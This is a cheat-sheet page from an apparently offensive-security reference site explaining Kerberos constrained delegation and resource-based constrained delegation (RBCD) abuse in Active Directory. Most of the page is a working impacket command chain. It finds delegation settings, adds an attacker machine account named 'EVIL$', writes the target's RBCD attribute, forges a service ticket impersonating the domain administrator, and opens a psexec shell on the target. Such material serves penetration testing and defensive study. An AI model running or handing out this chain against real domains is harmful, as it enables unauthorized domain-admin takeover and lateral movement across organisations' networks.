OPSECTLAS you are here: Active Directory
Active Directory

Delegation Abuse (Constrained / RBCD)

reference 7 commands 1 tool

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex
toolsimpacket
What it is

Kerberos delegation lets a service act on behalf of a user; misconfigured, it is a privilege-escalation primitive. Constrained delegation (S4U) lets a compromised service impersonate anyone to specific services. Resource-Based Constrained Delegation (RBCD) lets you impersonate an admin to a machine whose msDS-AllowedToActOnBehalfOfOtherIdentity you can write.

Find delegation across the domain

impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>

Constrained delegation: a service you control impersonates a DA (S4U)

impacket-getST -spn cifs/<TARGET-FQDN> -impersonate administrator \
  <DOMAIN>/<SERVICE-ACCOUNT>:<PASS> -dc-ip <DC-IP>

RBCD · when you have GenericWrite/GenericAll over a computer object:

1. Add a computer account you control (needs MachineAccountQuota > 0)

impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name 'EVIL$' -computer-pass 'Evil123' -dc-ip <DC-IP>

2. Point the target's RBCD at your computer

impacket-rbcd -delegate-from 'EVIL$' -delegate-to '<TARGET>$' -action write <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>

3. Impersonate a Domain Admin to the target

impacket-getST -spn cifs/<TARGET-FQDN> -impersonate administrator -dc-ip <DC-IP> <DOMAIN>/'EVIL$':'Evil123'
export KRB5CCNAME=administrator@cifs_<TARGET-FQDN>@<DOMAIN>.ccache
impacket-psexec -k -no-pass <DOMAIN>/administrator@<TARGET-FQDN>
connected
in playbooks
Active Directory Attack Path